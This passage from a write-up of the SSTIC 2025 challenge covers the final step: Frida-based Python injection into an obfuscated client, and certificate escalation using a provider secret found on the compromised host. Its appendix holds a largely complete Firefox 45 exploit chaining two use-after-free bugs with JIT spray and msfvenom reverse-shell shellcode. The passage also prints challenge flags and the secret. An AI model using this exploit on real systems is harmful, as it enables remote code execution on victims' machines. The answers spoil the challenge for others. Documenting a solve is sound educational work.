12 if (!seen_threads.includes(tid) && valid_threads.includes(tid)) {
13 seen_threads.push(tid);
14 const code = Memory.allocUtf8String("<SOME PYTHON CODE>");
15 PyRun_SimpleString(code);
16 }
17 return retval;
18 }
19 });

Using this injection technique, I ran the following Python script inside the already initialized thick client:

from basic_client.core.multiplexer_root_context import get_current_multiplexer
from common_network.routing.provider import ProviderID

with get_current_multiplexer().secure_channel_to(ProviderID.FLAG_PROVIDER) as c:
c.send(FinalEmail(HashForEmails=b"aaa"))

Nothing special happens: maybe the server answered something, but we can’t know for sure. I found
a trick to easily dump received packets using Python’s sys.settrace. It allows tracing all function
calls with their arguments. Since we hooked every Python thread with our Frida script, we’re able to
trace the function calls for whichever thread is responsible for message reception:

def trace_calls(frame, event, arg):
fname = frame.f_code.co_name
if event == "return" and fname in ("unserialize_parsed_command", "decrypt_aes_gcm"):

print(f"Return from {fname}: {arg}")
return trace_calls

sys.settrace(trace_calls)

This way, we can see all received messages after they have been decrypted or unserialized. We are
able to see the server’s answer to our request:
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Return from unserialize_parsed_command:
(BadCommand(

Class=<CommandClass.Interaction: 238>,
Type=<InteractionCommandType.BadCommand: 5>,
Expected='CheckValidFlag,ConfirmedFlags,TopPlayers,AllPublic',
AdditionalInfo='Bad command type, got Flag'

), 91)

Somehow, it says that we sent a bad command type. At this point, I’m already many hours in, and
this year’s final step has long stopped looking like a “troll” step like previous years — it’s purposefully
harder. A part of me still wanted to believe something was wrong with the challenge, so I reached out to
the author and asked if there was a server-side implementation issue, but obviously, nothing was wrong:
this is expected behavior.

Now, if the server says it doesn’t expect the FinalEmail command from us, maybe this means there
is some kind of access control logic that we don’t know yet about. Thus, I spent more time reversing
the whole picture, and understood that access control works with certificates.

I noticed that the thick client stored several configuration files inside %AppData%\Roaming\.mfd\fs
(on Windows): more specifically, there’s client.key (the private key for our account), client.crt
(the certificate for our account), and root.crt (the certificate for the root authority, which is the remote
server). The certificate for our account is especially interesting, because that’s how the server knows
who we are. Its “subject” property looks like this:

CN=<account_id>, O=MFDNetwork, ST=SSTIC-2025

Digging a little bit in the common_network/identity/ folder, we find logic related to certificates,
and more particularly this function dedicated to certificate generation:

1 def generate_certificate(ca_private_key,public_key,common_name,issuer,additional_provider_id):
2 '__pyarmor_enter_43073__(...)'
3 subject = generate_name(common_name)
4 certificate = x509.CertificateBuilder()
5 .subject_name(subject)
6 .issuer_name(issuer)
7 .public_key(public_key)
8 .serial_number(x509.random_serial_number())
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9 .not_valid_before(datetime.now(timezone.utc))
10 .not_valid_after(datetime.now(timezone.utc) + timedelta(days = 100))
11 if common_name == issuer:
12 certificate = certificate.add_extension(x509.BasicConstraints(
13 ca = True,
14 path_length = 0
15 ), critical = True)
16 if additional_provider_id:
17 certificate = certificate.add_extension(x509.SubjectAlternativeName([
18 x509.UniformResourceIdentifier(f'''provider://{additional_provider_id.name}''')
19 ]), critical = False)
20 certificate = certificate.sign(ca_private_key, algorithm = None)
21 '__pyarmor_exit_43074__(...)'
22 return certificate

The lines 16-19 draw attention: an additional provider ID can be added to a certificate (stored using a
X509 certificate extension). Could this be leveraged for access control? I came back to the ProviderID
enum, and noticed something I didn’t see at first: there’s a CHALLENGE_FINISHER provider!

This CHALLENGE_FINISHER provider does not seem to be referenced anywhere in the code — we
probably just have to have it added to our certificate to gain the right to send a FinalEmail message.
But how do we achieve that? Looking around a bit more, we find that there are commands in the protocol
related to certificates:

class CertificateCommandType(Enum):
'__pyarmor_enter_43418__(...)'
CertificateRequest = 1
CertificateRequestAnswer = 2
ProviderSecretCheck = 3
ProviderSecretCheckAnswer = 4
ProviderSecretGet = 5
SecretForProvider = 6
ProviderSecretGetAnswer = 7
CertificateAuthorityRequest = 8
CertificateAuthority = 9
'__pyarmor_exit_43419__(...)'
return None

The idea is taking shape now: we can send a CertificateRequest message to the root certificate
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authority (the server) to generate and sign a new certificate, but also to re-sign a certificate with an
additional provider added to it.

class CertificateRequest(CertificateCommand):
'__pyarmor_enter_43562__(...)'
CSR: bytes = CertificateCommandType.CertificateRequest
ProviderID: int | ProviderID | None = None
SecretForProviderID: str | None = None

This message, which must be sent to the CERTIFICATE_PROVIDER, takes a serialized certificate
request (CSR), which we can easily generate by reusing the following function:

def generate_csr(private_key, common_name, additional_provider_id):
'__pyarmor_enter_43109__(...)'
csr = x509.CertificateSigningRequestBuilder().subject_name(generate_name(common_name))
if additional_provider_id:

csr = csr.add_extension(x509.SubjectAlternativeName([
x509.UniformResourceIdentifier(f'''provider://{additional_provider_id.name}''')

]), critical = False)
csr = csr.sign(private_key, algorithm = None)
'__pyarmor_exit_43110__(...)'
return csr

If we want an additional provider, we also have to specify its id (ProviderID) and a provider secret
(SecretForProviderID). This provider secret thing sounds annoying... Obviously, if it wasn’t there,
anyone could request any additional provider (including ones such as ADMIN). But how are we supposed
to find the secret for the CHALLENGE_FINISHER provider?

As we can see in the protocol, there are also command types related to provider secrets. One of these
commands especially sounds useful: ProviderSecretGet. Maybe the server knows that we submitted
all the flags, and would therefore be willing to give us the CHALLENGE_FINISHER provider secret upon
request?

Unfortunately, it seems that we can’t send any ProviderSecretGet to the CERTIFICATE_PROVIDER.
But unlike with the FLAG_PROVIDER, there’s no answer at all from the server; not even an error message
stating which commands are allowed. Actually, the only way I was able to communicate with the
CERTIFICATE_PROVIDER was by using the anonymous_join function, which basically sets up a channel
by generating a new random key pair and connecting "anonymously" (the client uses that to get its first
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certificate) — but the commands we can send are still limited.
At this point, everything I would try and every new idea I would get simply didn’t work. Thinking I

am still lacking some understanding of the protocol, I kept reversing the client, to no avail.

=

I spent almost two days trying to figure this out, reversing the client, understanding the protocol
better, and I seriously began to run out of ideas.

But at some point, I suddenly (and very lately) realized that since we can interact with step 2
and step 3 using the thick client, they should also be clients themselves, and thus rely on the same
protocol. They probably have their own configurations, certificates and even secrets if they have dedicated
providers (and there is indeed a STEP2_OPERATOR provider). Although it does not seem particularly useful
right now, we may be able to somehow hijack their identity?

I got back to step 2’s remote code execution and explored the file system a bit more carefully. We
indeed find (non-Pyarmored) sources for step 2’s client, which contain a lot of interesting code and could
have spared us a few hours of reversing. We also find its certificate, but it’s probably not really useful.

Then, I got back to step 3’s remote code execution and popped the Windows shell again. I looked
around to see if there’s anything I could have missed...

C:\Chall>dir
08/04/2025 01:57 <DIR> .
08/04/2025 01:57 <DIR> ..
06/04/2025 21:45 55 flag.txt
06/04/2025 21:46 <DIR> FlagProvider
06/04/2025 21:44 <DIR> MFDProxy
06/04/2025 21:49 <DIR> MySuperThickClient
06/04/2025 21:46 403 TODO.txt

...and it was literally there all this time! Right before my eyes! Did you notice it when you read
my solution to step 3? I honestly didn’t see it the first time. Although it’s most likely not the case, I like
to think the author sought revenge after last year’s edition, where we hid the final email inside a folder
called “personal”, which wasted the time of several people who didn’t bother looking into it at first...

Anyway, it appears that the Windows machine somehow stores the sources for the flag provider.
Let’s look into it:
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C:\Chall\FlagProvider>dir
06/04/2025 21:46 <DIR> .
06/04/2025 21:46 <DIR> ..
06/04/2025 21:38 <DIR> common
06/04/2025 21:38 <DIR> common_network
07/04/2025 00:11 <DIR> common_persistence
06/04/2025 21:44 <DIR> common_provider
08/04/2025 02:22 347 conf.toml
06/04/2025 21:39 <DIR> flag_provider

This time, there’s a config file (conf.toml) for this client...

C:\Chall\FlagProvider>type conf.toml
[DEFAULT]
FS_BASE_ROOT_POLICY = "CREATE_MISSING_FOLDERS"
PROD = true
FS_BASE_ROOT = "C:\\\\Users\\\\Gecko\\\\AppData\\\\Roaming\\\\.mfd\\\\fs"
ROUTERS = "163.172.109.175"
CONNECT_SECURE_TO_LIST = "44544,44545,44546"
LOG_LEVEL = "DEBUG"
PROVIDER_SECRET = "zOJYJlHrlwPvXHfkTEpLgUXuuIchRYoDHucaohLUUJDBaFZl"
PROVIDER_ID = CHALLENGE_FINISHER

...and it contains our holy grail: the provider secret for CHALLENGE_FINISHER! To be honest,
it’s a little bit confusing: why is this here, and why is it step 3 that gives that, even though it’s not
necessarily the last step you can solve? Still, doesn’t change the fact that I apparently chose to blatantly
ignore this folder when I got here a few days prior.

Now, for the endgame: we inspect the sources for the flag provider and understand how the final
validation works for the email.

1 @within_new_session
2 def process_intent_from_operator(
3 intent: FlagCommand,
4 authenticated_peer: AuthenticatedPeer,
5 session
6 ):
7 # double check because critical provider, but this should be handled previously
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8 if not authenticated_peer.is_provider(ProviderID.CHALLENGE_FINISHER):
9 return Forbidden(

10 Reason=LackingPrivilege(
11 ExpectedProvider=ProviderID.CHALLENGE_FINISHER
12 )
13 )
14

15 match intent:
16 case FinalEmail():
17 try:
18 hash, email = check_final_hash(intent.HashForEmails)
19 final_email = get_final_email(hash, email)
20 return FinalEmailSuccess(
21 SSTICEmail=final_email
22 )
23 except Exception as _:
24 return FinalEmailFailure(
25 Reason='Bad hash provided :/'
26 )
27 case GetFlagsOrder():
28 try:
29 return flag_orders_for_email()
30 except Exception as e:
31 return FinalEmailFailure(
32 Reason=f"{e}"
33 )
34 case _:
35 return process_intent(intent, authenticated_peer)

Basically, when it receives the FinalEmail command, the provider will check the HashForEmails
input hash, compute the final email, and send it back to us. There’s also a GetFlagsOrder command
type that may be useful to know how to calculate the hash.

1 def hash_flag(raw_content: bytes):
2 h = hashlib.sha512()
3 h.update(raw_content)
4 return h.digest()
5

6 def compute_flags_hash(flag_names: list):
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7 flags = [Flag.get_or_none(flag_name) for flag_name in flag_names]
8 concatenated = b''.join(flag and flag.hash or b'' for flag in flags)
9 return hash_flag(concatenated)

10

11 def check_final_hash(hash: bytes):
12 all_emails = SSTICEmail.get_all_enabled()
13 for email in all_emails:
14 flag_names = email.flags_order.split(',')
15 flags_hash = compute_flags_hash(flag_names)
16 if hmac.compare_digest(flags_hash, hash):
17 return flags_hash, email.suffix

Our input hash is compared to a hash of all the flags’ hashes. We can easily compute it:

import hashlib

flags = [
"SSTIC{4d80a6b32f8ff039c39f67b150b2b8d33a991b2e38a9ce96}",
"SSTIC{f5ab077834d560a2711413da4646bfa1f02e9b24df9c0863}",
"SSTIC{b871c80ae6baa5fb806f7241109e9d399f8641f2a63c7f69}",
"SSTIC{58e9ab359732a4a5408661470bb3bf34e9b8362c639f5b83}",
"SSTIC{21c66b2c691438c8a99b33e28c1cd5f42009468d3c68d701}",

]

all_flags = b"".join(hashlib.sha512(flag.encode()).digest() for flag in flags)
print(hashlib.sha512(all_flags).hexdigest())
# 76a304cf910e6c6e4051ca7c7c05f8d51fc3e60c4f180077630994484fc9c654...

Then, the get_final_email simply does the following:

def get_final_email(flags_hash: bytes, suffix: str):
return flags_hash[:0x20].hex() + suffix

However, we’re not sure what suffix is. It could simply be "@sstic.org", but it could also be
something more complex, which forces us to implement the actual communication with the provider.
We only have to:

1. Send a certificate request to CERTIFICATE_PROVIDER with the CHALLENGE_PROVIDER secret
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2. Read the server’s answer to get the upgraded certificate
3. Replace our local certificate for the thick client with the new one
4. Restart the thick client
5. Send the FinalEmail message to FLAG_PROVIDER with the correct hash
6. Read the server’s answer to get the final email

Using our Frida hook, we can inject the following Python code for (1):

mfd_folder = "C:\\Users\\User\\AppData\\Roaming\\.mfd\\fs\\"
ca_certificate = ca_certificate = ensure_ca_certificate(mfd_folder + "root.crt")
private_key, certificate, regenerated = ensure_certificate(

mfd_folder + "client.key",
"defaultpassword",
mfd_folder + "client.crt",
ca_certificate,
None

)

challenge_finisher_provider_secret = "zOJYJlHrlwPvXHfkTEpLgUXuuIchRYoDHucaohLUUJDBaFZl"
csr = generate_csr(private_key, "<CLIENT_ID>", ProviderID.CHALLENGE_FINISHER)

with (
multiplexer_context(),
anonymous_join(on_recv, ProviderID.CERTIFICATE_PROVIDER, allow_insecure=True) as (c, _)

):
c.send(CertificateRequest(

CSR=serialize_public_raw(csr),
ProviderID=ProviderID.CHALLENGE_FINISHER,
SecretForProviderID=challenge_finisher_provider_secret

))

Thanks to our sys.settrace hook, we are able to read the server’s answer and replace our
certificate. Finally, we inject ourselves again with the following code:

with get_current_multiplexer().secure_channel_to(ProviderID.FLAG_PROVIDER) as c:
c.send(FinalEmail(HashForEmails=bytes.fromhex("76a304cf910e6c6e4051ca...")))

The server answers, and as seen in figure 19, since the thick client actually implements the handling
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of the FinalEmailSuccess command type, a lovely window pops up with the email!

Figure 19: Pop-up window showing the final email.

We complete this year’s challenge by sending an email to:

76a304cf910e6c6e4051ca7c7c05f8d51fc3e60c4f180077630994484fc9c654_you_deserve_rest@sstic.org
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8 Conclusion

I really enjoyed this year’s challenge, especially steps 3 and 4. The Firefox pwn was a bit out of my
comfort zone and felt frustrating at first, but looking back to it, I like how we were left in the wilderness
without any real direction, and with a focus on finding which door is worth trying to open; I thought that
was quite innovative in a way, at least for a CTF challenge. Step 4 was more of a typical deobfuscation
challenge, but I always thoroughly enjoy these ones.

I also liked the idea of the final step: it’s quite funny to spend the whole thing convinced the thick
client is useless and that it’s merely some kind of elaborate troll from the author, only to realize at the
end that you actually need to understand how it works. It’s a “meta twist” in a way, because the usual
twist with these final steps is that they’re ridiculously easy — here, it was a whole new step in itself (and
it’s ironically the step that eventually took me the longest to solve).

I am quite happy with my performance, as I managed to quite fast (except for that last step blunder)
and got “first blood” on all steps. I wish this year’s edition got more attention, because although some
parts did unfortunately feel a bit rushed or lacking cohesion, there was clearly a lot of work put into it.
Thanks to the authors for the adventure!
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9 Timeline

Here is an approximate timeline of how I solved the challenge (any similarities to actual person, living or
dead, or actual events, is purely coincidental).

25/04 18:00: Challenge opens. Start looking at the PDF.

25/04 21:27: Found the four images, but probably messed something up at some point and get a noisy
result, which makes it hard to find the flag. Still got a readable URL though.

25/04 22:20: Decide to carry on without the prologue’s flag. Download the thick client and start
looking at step 1.

25/04 22:29: Quickly identify how to solve it and start implementing it with Sage.

25/04 22:44: Submit step 1 flag.

25/04 23:14: Since I can’t submit the prologue’s flag, I haven’t gained access to step 2 yet, so I continue
with step 4 which has no prerequisite. Start reading stuff about movfuscator, trying to see if there are
already existing tools that could help deobfuscate.

26/04 01:42: Find the “demovfuscator” project, but can’t make it work — it’s probably too old and
limited to 32-bits. Skim through the associated bachelor thesis and learn interesting stuff. Assess that
porting demovfuscator to work on the challenge binary would be too much work and start deobfuscating
by hand, but go to sleep first.

26/04 13:06: Finish implementing a first, basic lifter which allows me to understand the first part of the
logic, and thus the constraints on the 13 first characters of the key. Realize it’s not enough to decrypt
the file and that we have to find the last 3 characters to correctly decrypt the file. Bruteforcing the
binary is not viable.

26/04 16:50: Spend several hours refining my lifter and reversing the remaining decryption logic of
the program. Start (a bit late) leveraging some dynamic analysis to debug my understanding of the
decryption algorithm because I’ve been doing everything statically up to now.

26/04 19:24: Manage to successfully reimplement the decryption algorithm in Python. Run a bruteforce
on the last 3 characters of the key with Pypy, only decrypting the first block because decrypting the
whole file would take too much time. Realize however that I don’t have a “stop” condition for the
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bruteforce (at least without decrypting the whole thing) so I output all the results to a ≈ 20 MB file.

26/04 19:39: Bruteforce finishes, skim through the results, try grepping for cribs like “flag”, “SSTIC”
or magic headers: no luck. Eventually stumble upon a very suspicious plaintext candidate full of spaces.

26/04 20:05: Decrypt the entire file using my Python reimplementation.

26/04 20:06: Submit step 4 flag.

26/04 20:42: Start looking at step 2. Spend some time researching older Lua 5.2 sandbox escapes
through memory corruptions induced by the lack of checks when running Lua bytecode, which we can
do with the load function.

26/04 23:15: The researched material looks promising but won’t work out-of-the-box because of the
challenge sandbox. Suddenly wondering, what if we could actually already use filtered functions inside
the load function?

26/04 23:26: Confirm that we can (surprisingly) run filtered functions inside the sandbox through loaded
bytecode — no need for a complicated exploit!

26/04 23:43: os.execute won’t return stdout and io.popen seems unsupported. Store the command
output in an intermediate file and read it back. The Docker container does not have Internet access
though; how can we exfiltrate the output? Try leveraging returned numerical values in the game context,
but it’s not very convenient.

27/04 00:13: Figure out I can use an assert failure to print arbitrary stuff in the game chat. Explore
the remote file system.

27/04 00:21: Submit step 2 flag.

27/04 00:49: Start poking around step 3, setup a Visual Studio project.

27/04 01:43: Looking at known exploits / bug reports. Find an interesting PoC (SMIL UAF) but it’s
written for 32-bit targets and relies on already knowing the address of a certain object in the heap (easy
to spray on 32-bit, but a lost cause on 64-bit).

27/04 02:51: Still looking at bug reports, but getting tired and decide to get some sleep.

27/04 11:08: Get back to researching old bugs and PoCs. Realize most relevant PoCs from this era
usually target 32-bit Firefox, which is going to be hard to deal with for us without a leak.

63/80



SSTIC Challenge 2025 Valentino Ricotta

27/04 12:41: Explore techniques such as ASM.JS JIT spray, may prove useful later.

27/04 13:44: Find out about saelo’s cross-mmap overflow "foxpwn" (CVE-2016-9066) which targets a
64-bit Firefox. Unfortunately the Arena structure is slightly different in Firefox 45, so it doesn’t work
out-of-the-box, and adapting the exploit seems quite difficult. Give up on this idea.

27/04 16:51: Still playing around with PoCs.

27/04 19:00: Eventually get back to the SMIL UAF (CVE-2016-9079) — although the root cause is
rather cryptic and I don’t want to spend too much time understanding it, I still decide to give a shot
at porting the PoC to 64-bit. Successfully gain RIP control, however we still cannot spray the address
space and we would need a leak.

27/04 22:00: Spend a lot of time skimming through bug reports but can’t find anything useful for a
leak. It seems that people back then didn’t really care for memory leak bugs since 32-bit address spaces
were easily sprayable.

27/04 01:17: Trying to debug and download xul.pdb from Mozilla’s symbol server, unsuccessfully.
Maybe it’s too old? Don’t understand the SMIL bug enough to see if we can derive a leak from the type
confusion primitive. Figure it would take too much time, go to sleep.

28/04 13:50: Try looking for slightly more recent bugs (e.g. 2018-2019 instead of 2016-2017). A lot of
these do not work on Firefox 45, but I eventually find out about saelo’s CVE-2019-9791 which happens
to work, since apparently the bug was introduced in 2015.

28/04 14:52: Start adapting his PoC for our target. At this point I’m only really interested in a leak
of the upper nibbles of a heap address, because I would be able to chain this leak primitive with the
RIP control primitive I had yesterday. However I’m on a different computer and don’t have access to
yesterday’s exploit. Figure in the meantime I would try to understand how the bug works, which primitives
exactly it gives and if it’s enough to derive a full exploit.

28/04 17:46: Understand this UAF gives R/W primitive, but I can’t figure out how to adapt the addrof
primitive to the challenge target and I’m too lazy to dive into the exact internals / structures for the
manipulated objects. Still, I do have a reliable leak.

28/04 19:24: Get back home and decide to chain the two CVEs. Combine with some JIT spray, and
it works: I can reliably predict the address of a shellcode. However, I still need to predict the address
of a certain heap object that I cannot easily spray too much, and I want the exploit to rely on a single
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address “guess” relative to the JIT page.

28/04 19:43: Figure I can simply use the write primitive to write my fake heap object inside the JIT
page. Exploit works locally.

28/04 20:06: Use meterpreter for the shellcode and manage to get a reverse shell locally. Not too
confident about the remote, praying that it’ll work.

28/04 20:14: Get a setup working to deliver the exploit, try my luck on the remote. It lands after 2 or
3 tries and I get a remote shell. Find flag.txt, but don’t pay too much attention to the other files...

28/04 20:16: Submit step 3 flag.

28/04 20:18: Excited to be done with the challenge early in the evening, I click “get email” in the thick
client, but realize the feature is missing.

28/04 20:22: Past editions trick me into thinking this is going to be an easy step that can be solved
in half an hour. Run Wireshark to see the packets that are sent to the server, but they don’t bode well:
looks like a custom protocol with an encrypted layer. Moreover, there’s not much activity when we click
“get email”, so there’s probably not even a request being made.

28/04 20:34: Understand the thick client is just a Py2Exe binary. We just have to decompile the
Python sources, right? Realize it’s all obfuscated with Pyarmor.

28/04 21:37: Research Pyarmor tooling. Most tools are outdated. Find a blog post about Pyarmor v8
deobfuscation and some IDA scripts. It kind of works, but it’s not the best.

28/04 22:30: Realize we can dynamically import the obfuscated files we got from Py2Exe in a Python
console and try introspecting stuff. Manage to list command types and stuff, but it’s not enough to
understand how it works.

28/04 23:36: Find a more recent tool that successfully deobfuscates all Pyarmor files automatically,
which is great. However, decompilation is buggy. Understand that’s a limitation for Python 3.10+
bytecode in general and that I will probably not be able to have anything better. Skim through the
disassembled Python bytecode files, but I need to go to bed early.

29/04 17:00: Some obligations have me out for the day, only get back to it in the evening. Do a bit
of reversing and understand that we have to talk to the flag provider to get the email, but the protocol
looks complicated and I’d rather skip the whole initialization part.
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29/04 17:30: Thinking about how I can run Python code in the context of the binary, which would be
nice since the whole init part is already done.

29/04 18:30: Got some unconventional injection technique working with Frida. Manage to send the
“FinalEmail” command, but get denied because of some access control. Wonder if there’s something
wrong with the challenge, ask the author, nothing’s wrong, gotta try harder.

29/04 21:47: Spend more time reversing the whole thing and understand access control might work with
certificates. Understand some abstractions such as providers, and that the client can send a certificate
signing request to the server to add a provider by specifying a provider secret. There’s actually a command
that allows to get the provider secrets: I strongly start to believe we have to send this command using
our current certificate (linked to our account), so that the server can assess that we indeed have all the
flags and accepts to give us the secret associated with the CHALLENGE_FINISHER provider.

29/04 23:53: Cannot make my idea work and it’s driving me crazy. I’m starting to have doubts, but
I’m thinking I still lack some understanding of the protocol. Go to sleep.

30/04 15:28: Spend the whole day reversing the client, trying to understand the protocol better and
implementing my idea, still unsuccessfully. Starting to seriously run out of ideas.

30/04 17:16: Realize one of the folders in the extracted code (the TLS part) is not Pyarmored, and
there’s an example client. Try playing around with it but it doesn’t help much.

01/05 00:40: Realize I still haven’t found the prologue’s flag, which will probably get in the way at
some point even if I manage to send “FinalEmail”. Go to sleep.

01/05 11:39: Do the prologue again from scratch, manage to get a clear image in around 30 minutes.
Not sure what happened the first day. Submit the flag in the thick client, but nothing new happens.

01/05 14:30: Still cannot for the life of me figure how to talk to the “certificate provider”. Start really
believing there’s something wrong either with me or with the challenge.

01/05 17:00: Suddenly realize that step 2 and step 3 should also be clients and rely on the same
protocol, so they should have their own certificates and even secrets if they have dedicated providers.

01/05 17:15: Get back to step 2’s remote code execution. Explore the file system a little bit more. Find
Python sources for common bricks of the protocol that are not Pyarmored, which is nice, but doesn’t
help too much because I already reversed a lot of stuff the previous days. Find the certificate for step
2’s client, but don’t think it’s really useful.
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01/05 17:30: Get back to step 3’s remote code execution, pop the Windows shell again, look around
to see if there’s anything I missed — okay, I clearly missed important stuff the first time around. There’s
the source code for the flag provider, and most importantly, a config file with the CHALLENGE_FINISHER
provider secret!!

01/05 18:00: Understand how the final validation works for the email and start implementing the final
solve script. Manage to get a new signed certificate with the CHALLENGE_FINISHER provider.

01/05 18:14: Manage to send the “FinalEmail” command with the correct argument. Server answers
with the final email.

01/05 18:18: Send the email and complete the challenge.
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A Appendix

A.1 Exploit for step 3

1 <script async>
2 function asm_js_module(){
3 "use asm";
4 function payload_code(){
5 var val = 0;
6 val = (val + 0xa8909090)|0;
7 val = (val + 0xa8909090)|0;
8 val = (val + 0xa8909090)|0;
9 val = (val + 0xa8909090)|0;

10 val = (val + 0xa8909090)|0;
11 val = (val + 0xa8909090)|0;
12 val = (val + 0xa8909090)|0;
13 val = (val + 0xa8909090)|0;
14 val = (val + 0xa8909090)|0;
15 val = (val + 0xa8909090)|0;
16 val = (val + 0xa8909090)|0;
17 val = (val + 0xa8909090)|0;
18 val = (val + 0xa8909090)|0;
19 val = (val + 0xa8909090)|0;
20 val = (val + 0xa8909090)|0;
21 val = (val + 0xa8909090)|0;
22 val = (val + 0xa8909090)|0;
23 val = (val + 0xa8909090)|0;
24 val = (val + 0xa8909090)|0;
25 val = (val + 0xa8909090)|0;
26 val = (val + 0xa8909090)|0;
27 val = (val + 0xa8909090)|0;
28 val = (val + 0xa8909090)|0;
29 val = (val + 0xa8909090)|0;
30 val = (val + 0xa8909090)|0;
31 val = (val + 0xa8909090)|0;
32 val = (val + 0xa8909090)|0;
33 val = (val + 0xa8909090)|0;
34 val = (val + 0xa8909090)|0;
35 val = (val + 0xa8909090)|0;
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36 val = (val + 0xa8909090)|0;
37 val = (val + 0xa8909090)|0;
38 val = (val + 0xa8909090)|0;
39 val = (val + 0xa8909090)|0;
40 val = (val + 0xa8909090)|0;
41 val = (val + 0xa8909090)|0;
42 val = (val + 0xa8909090)|0;
43 val = (val + 0xa8909090)|0;
44 val = (val + 0xa8909090)|0;
45 val = (val + 0xa8000000)|0;
46 return val|0;
47 }
48 return payload_code
49 }
50 </script>
51

52

53 <script>
54 buf = []
55 buf.push(new ArrayBuffer(0x20));
56 buf.push(new ArrayBuffer(0x20));
57 buf.push(new ArrayBuffer(0x20));
58 buf.push(new ArrayBuffer(0x20));
59 buf.push(new ArrayBuffer(0x20));
60 buf.push(new ArrayBuffer(0x20));
61 buf.push(new ArrayBuffer(0x20));
62 buf.push(new ArrayBuffer(0x20));
63 buf.push(new ArrayBuffer(0x20));
64 buf.push(new ArrayBuffer(0x20));
65

66 var abuf = buf[5];
67 victim = new Uint32Array(abuf);
68 victim.fill(0x45464645);
69

70 let ab = new ArrayBuffer(0x1000);
71 function Hax(val, l, trigger) {
72 let x = {
73 slots: 13.37, elements: 13.38, buffer: ab, length: 13.39, byteOffset: 13.40, data: []
74 };
75 let y = new Uint32Array(0x20);
76 this.a = val;
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77 for (let i = 0; i < l; i++) {}
78 this.x = x;
79 if (trigger) {
80 this.y = y;
81 }
82 this.x.data = victim;
83 }
84

85 for (let i = 0; i < 100000; i++) {
86 new Hax(1337, 1, false);
87 }
88

89 let obj = new Hax("asdf", 10000000, true);
90 let driver = obj.y;
91

92 function read(addr0, addr1) {
93 driver[15] = addr1;
94 driver[14] = addr0;
95 return victim.slice(0,2);
96 }
97

98 function write(addr0, addr1, val0, val1) {
99 driver[15] = addr1;

100 driver[14] = addr0;
101 victim[0] = val0;
102 victim[1] = val1;
103 }
104

105 function read_n(addr0, adrr1, n) { // read n * 4 bytes, n should be smaller than 2^32-1
106 driver[10] = n;
107 driver[15] = addr1;
108 driver[14] = addr0;
109 return victim.slice(0,n);
110 }
111

112 sprayed = []
113 for (var i=0; i<= 40000; i++){
114 sprayed[i] = asm_js_module()
115 }
116

117 let upper_bits_leak = driver[1]; // Heap leak inside driver array
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118 let jit_page = upper_bits_leak * 0x100000000 + 0xCF700000; // should be quite reliable?
119

120 function write64(dst, val) {
121 write(
122 (dst & 0xFFFFFFFF) >>> 0, (dst / 0x100000000) >>> 0,
123 (val & 0xFFFFFFFF) >>> 0, (val / 0x100000000) >>> 0
124 );
125 }
126

127 object_target_address = jit_page + 0x1260
128 jit_payload_target = jit_page + 0x1800
129

130 write64(object_target_address + 0x0, object_target_address)
131 write64(object_target_address + 0x28, object_target_address)
132 write64(object_target_address + 0x30, 4)
133 write64(object_target_address + 0xd8, 2)
134 write64(object_target_address + 0x268, jit_payload_target)
135

136 // msfvenom -p windows/x64/shell_reverse_tcp LHOST=... LPORT=... -f dw
137 let shellcode_dw = [
138 0xe48348fc, 0x00c0e8f0, 0x51410000, 0x51525041, 0xd2314856, 0x528b4865, 0x528b4860,
139 0x728b4820, 0xb70f4850, 0x314d4a4a, 0xc03148c9, 0x7c613cac, 0x41202c02, 0x410dc9c1,
140 // [...]
141 0xff601d87, 0xb5f0bbd5, 0xba4156a2, 0x9dbd95a6, 0x8348d5ff, 0x063c28c4, 0xfb800a7c,
142 0x6f721347, 0x4159006a, 0xd5ffda89
143 ];
144

145 for (i = 0; i < shellcode_dw.length; i++) {
146 write64(jit_payload_target + 4*i, shellcode_dw[i]);
147 }
148

149

150 // STEP 2
151

152 s='data:javascript,self.onmessage=function(msg){postMessage("one");postMessage("two");};';
153 var worker = new Worker(s);
154 worker.postMessage("zero");
155 var svgns = 'http://www.w3.org/2000/svg';
156 var heap80 = new Array(0x1000);
157 var heap100 = new Array(0x4000);
158 var block80 = new ArrayBuffer(0x80);
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159 var block100 = new ArrayBuffer(0x100);
160 var sprayBase = undefined;
161 var arrBase = undefined;
162 var animateX = undefined;
163 var containerA = undefined;
164 var offset = 0x110
165

166 var exploit = function(){
167 var u32 = new Uint32Array(block80)
168

169 for (i = 0; i < 0x20; i += 2) {
170 u32[i] = (arrBase - offset)>>>0;
171 u32[i+1] = ((arrBase - offset)/4294967296)>>>0;
172 }
173

174 for(i = heap100.length/2; i < heap100.length; i++) {
175 heap100[i] = block100.slice(0)
176 }
177

178 for(i = 0; i < heap80.length/2; i++) {
179 heap80[i] = block80.slice(0)
180 }
181

182 animateX.setAttribute('begin', '59s')
183 animateX.setAttribute('begin', '58s')
184

185 for(i = heap80.length/2; i < heap80.length; i++) {
186 heap80[i] = block80.slice(0)
187 }
188

189 for(i = heap100.length/2; i < heap100.length; i++) {
190 heap100[i] = block100.slice(0)
191 }
192

193 animateX.setAttribute('begin', '10s')
194 animateX.setAttribute('begin', '9s')
195 containerA.pauseAnimations();
196 }
197

198 worker.onmessage = function(e) {arrBase=object_target_address; exploit()}
199
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200 var trigger = function(){
201 containerA = document.createElementNS(svgns, 'svg')
202 var containerB = document.createElementNS(svgns, 'svg');
203 animateX = document.createElementNS(svgns, 'animate')
204 var animateA = document.createElementNS(svgns, 'animate')
205 var animateB = document.createElementNS(svgns, 'animate')
206 var animateC = document.createElementNS(svgns, 'animate')
207 var idA = "ia";
208 var idC = "ic";
209 animateA.setAttribute('id', idA);
210 animateA.setAttribute('end', '50s');
211 animateB.setAttribute('begin', '60s');
212 animateB.setAttribute('end', idC + '.end');
213 animateC.setAttribute('id', idC);
214 animateC.setAttribute('end', idA + '.end');
215 containerA.appendChild(animateX)
216 containerA.appendChild(animateA)
217 containerA.appendChild(animateB)
218 containerB.appendChild(animateC)
219 document.body.appendChild(containerA);
220 document.body.appendChild(containerB);
221 }
222

223 window.onload = trigger;
224 setInterval("window.location.reload()", 3000)
225

226 </script>

A.2 Lifter for step 4

1 import sys
2 import re
3

4 def s(line):
5 return re.sub(r' {2,}', ' ', line)
6

7 def lift(lines):
8
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9 out = []
10 i = 0
11 while i < len(lines):
12

13 if i + 150 >= len(lines):
14 out.append(lines[i])
15 i += 1
16 continue
17

18 if all([
19 "mov rax, 0" in s(lines[i]),
20 "mov rbx, rax" in s(lines[i + 1]),
21 "mov rcx, rax" in s(lines[i + 2]),
22 "mov rdx, rax" in s(lines[i + 3]),
23 "mov r8, " in s(lines[i + 4]),
